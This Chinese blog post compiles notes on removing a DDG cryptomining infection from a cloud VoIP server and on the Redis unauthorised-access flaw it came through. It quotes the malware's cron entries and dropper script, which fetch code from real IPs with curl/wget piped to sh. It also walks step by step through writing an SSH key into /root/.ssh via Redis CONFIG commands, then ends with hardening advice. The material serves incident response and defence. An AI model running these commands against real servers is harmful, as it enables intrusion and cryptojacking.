现象以及如何处理参考:http://blog.51cto.com/hld1992/2047658
公司有台做voip的服务器最近CPU总是跑满,这机器自从交给厂家搭好环境后基本就没怎么管它,于是进去查看进程,top了下(见下图)
这个叫wnTKYg的进程很诡异,已经把CPU吃光了,上网一查,原来是中了挖矿的马。(啊,我的天。这只是一个单核1G内存的阿里云主机)既然被入侵了,那就得干掉它,下面是解决过程:
1:第一步要先找到这个wnTKYg文件实体,对了还有一个叫ddg.2020的进程。
[root@alitest ~]$ find / -name wnTKYg
/tmp/wnTKYg
[root@alitest ~]$ find / -name ddg*
/tmp/ddg.2020
2:接着把这两个文件的可执行权限拿掉。
[root@alitest ~]$ cd /tmp
[root@alitest /tmp]$ chmod -x ddg.2020 wnTKYg
3:杀掉这该死的进程。
[root@alitest /tmp]$ ps -ef | grep -v grep | egrep 'wnTKYg|ddg' | awk '{print $2}' | xargs kill -9
4:清除无用的定时任务。
[root@alitest /tmp]$ crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
这是挖矿程序生成的定时任务,不清除掉待会进程又起来了。
[root@alitest /tmp]$ echo > /var/spool/cron/root
因为这台机器上没有做定时任务,所以就直接清除掉了,如果有其他在用的定时任务,不要这样哦。
5:删除挖矿程序。
[root@alitest /tmp]$ rm -f ddg.2020 wnTKYg
6:清除.ssh/下的公钥文件。
[root@alitest ~/.ssh]$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUGqxNBCvqd+VNZTcSjyV3bs67sqwXSV+XztaY9QN/DDfeXEfWztdaXPbJvmLE34G
.........
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxV
.................
这台机器并没有上传过公钥文件,所以这就是入侵者留下的咯,删掉删掉。
[root@alitest ~/.ssh]$ rm -f authorized_keys
至此,木马就已经清理完毕了。
附一下病毒的完整的shell:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL http://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root if [ ! -f "/tmp/ddgs.3011" ]; then curl -fsSL http://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011 fi chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill参考
原因参考下这个:https://blog.csdn.net/zjcjava/article/details/78558392
最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注!
一、漏洞发布日期
2015年11月10日
二、已确认被成功利用的软件及系统
对公网开放,且未启用认证的redis服务器。
三、漏洞描述
最近Redis服务被曝出因配置不当,被攻击者进行恶意利用。
黑客借助redis内置命令,可以对现有数据进行恶意清空。
如果Redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
四、建议修复方案(需要重启redis才能生效)
1、绑定需要访问数据库的IP
修改 redis.conf 中的 “bind 127.0.0.1” ,改成需要访问此数据库的IP地址。
2、设置访问密码
在 redis.conf 中找到“requirepass”字段,在后面填上你需要的密码。
3、修改redis服务运行账号
请以较低权限账号运行redis服务,且禁用该账号的登录权限。
漏洞的原理参考:https://bbs.ichunqiu.com/thread-7069-1-1.html
1. 漏洞概述(知道创宇)
Redis默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
默认redis启动的用户如果没有修改,会以root方式启动,这样就redis就可以在任意位置写入公钥文件,继而可以完成远程控制。
2. 漏洞利用原理
a. redis监听在外网的6379端口,且无密码访问
b. 连接redis,可以指定redis的配置文件路径
c. 连接redis,将公钥以key值的方式写入redis,并且保存为authoried_keys
d. 远程ssh无密码连接
3.漏洞利用过程
a. 目标主机:192.168.1.105
b. 攻击主机:192.168.1.100
c. 远程redis连接,查看一下当前key
- tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
- 192.168.1.105:6379> KEYS *
- (empty list or set)
- 192.168.1.105:6379>
d. 生成公私钥文件
tusmdeMacBook-Pro-9:/ tusm$ mkdir -pv /tmp/ssh
tusmdeMacBook-Pro-9:/ tusm$ cd /tmp/ssh/
tusmdeMacBook-Pro-9:ssh tusm$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/tusm/.ssh/id_rsa): /tmp/ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/ssh/id_rsa.
Your public key has been saved in /tmp/ssh/id_rsa.pub.
The key fingerprint is:
15:bc:01:d1:57:c9:c2:9a:60:c9:6c:fa:fe:f8:41:65 tusm@tusmdeMacBook-Pro-9.local
The key's randomart image is:
+--[ RSA 2048]----+
| oo*.. o.. |
| B +.+ o |
| + ..*E. |
| . .+o |
| .S . |
| .. |
| . . |
| .. . |
| .oo |
+-----------------+
tusmdeMacBook-Pro-9:ssh tusm$ ls
id_rsa id_rsa.pub
tusmdeMacBook-Pro-9:ssh tusm$ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > kali.txt
tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt
tusmdeMacBook-Pro-9:ssh tusm$
e. 将公钥以key值的形式写入redis
tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt |redis-cli -h 192.168.1.105 -x set crackit
OK
tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
192.168.1.105:6379> KEYS *
1) "crackit"
192.168.1.105:6379> GET crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local\n\n\n\n"
192.168.1.105:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
192.168.1.105:6379> CONFIG set dir /root/.ssh/
OK
192.168.1.105:6379> config set dbfilename "authorized_keys"
OK
192.168.1.105:6379> save
OK
192.168.1.105:6379> CONFIG set dir /var/lib/redis
OK
192.168.1.105:6379> save
OK
#这样就把公钥写进受害者主机的/root/.ssh下,并且名称为authorized_keys,了解ssh的都会知道,这样我们就完成了远程无密码访问。
f. 远程登录
tusmdeMacBook-Pro-9:ssh tusm$ ssh -i id_rsa root@192.168.1.105
Last login: Sun Jun 5 08:55:10 EDT 2016 from 192.168.1.100 on pts/2
Linux kali 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-7kali2 (2016-01-27) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@kali:~#
备注:这里redis漏洞之所以能够利用成功,一是无授权访问,而是以root用户运行,这样就可以跳过猜执行用户,而直接将公钥些人root下面,如果是以普通用户当然也能猜到,但是会耗费很大的力气。而且如果默认运行的用户是没有登录权限的,也是无法利用成功的。还有,即使这些条件都满足,但是我们做了防火墙策略,只允许某些IP地址登录,也是可以避免这种提权的,只是redis服务器的数据可以任意更改。
如何创建没有登录权限的用户参考:https://www.linuxidc.com/Linux/2012-07/64531.htm
第一种情况:还未建立用户时,可以使用以下命令
groupadd groupname
useradd -g groupname username -s /bin/false //-s为默认shell,不给shell,也就不能登录
第二种情况:当用户已经建立了,在建立时没有控制,现在需要取消用户登录权限,可以使用以下命令
切换到root用户,修改/etc/passwd文件
vi /etc/passwd
找到你要修改的用户所在的那一行,例如username:x:502:502::/home/username:/bin/bash,修改为以下代码
username:x:502:502::/home/username:/sbin/nologin
如何利用非root用户安装redis:
su redis
cd
cp /usr/local/redis/redis.conf ./ #拷贝配置文件
vi ./redis.conf
bind 127.0.0.1
port 16379
requirepass 123456
daemonize yes
databases 16
dir /home/redis
logfile redis.log
pidfile redis_16379.pid
dbfilename dump.rdb
rdbcompression yes
rdbchecksum yes
stop-writes-on-bgsave-error yes
appendonly yes
appendfilename "appendonly.aof"
redis-server ./redis.conf
加固的方法:
(1)port不要使用默认的6379
(2)bind到专用ip
(3)requirepass设置密码
(4)使用无登录权限的用户运行redis
(5)禁用config命令
rename-command config “”
rename-command info infos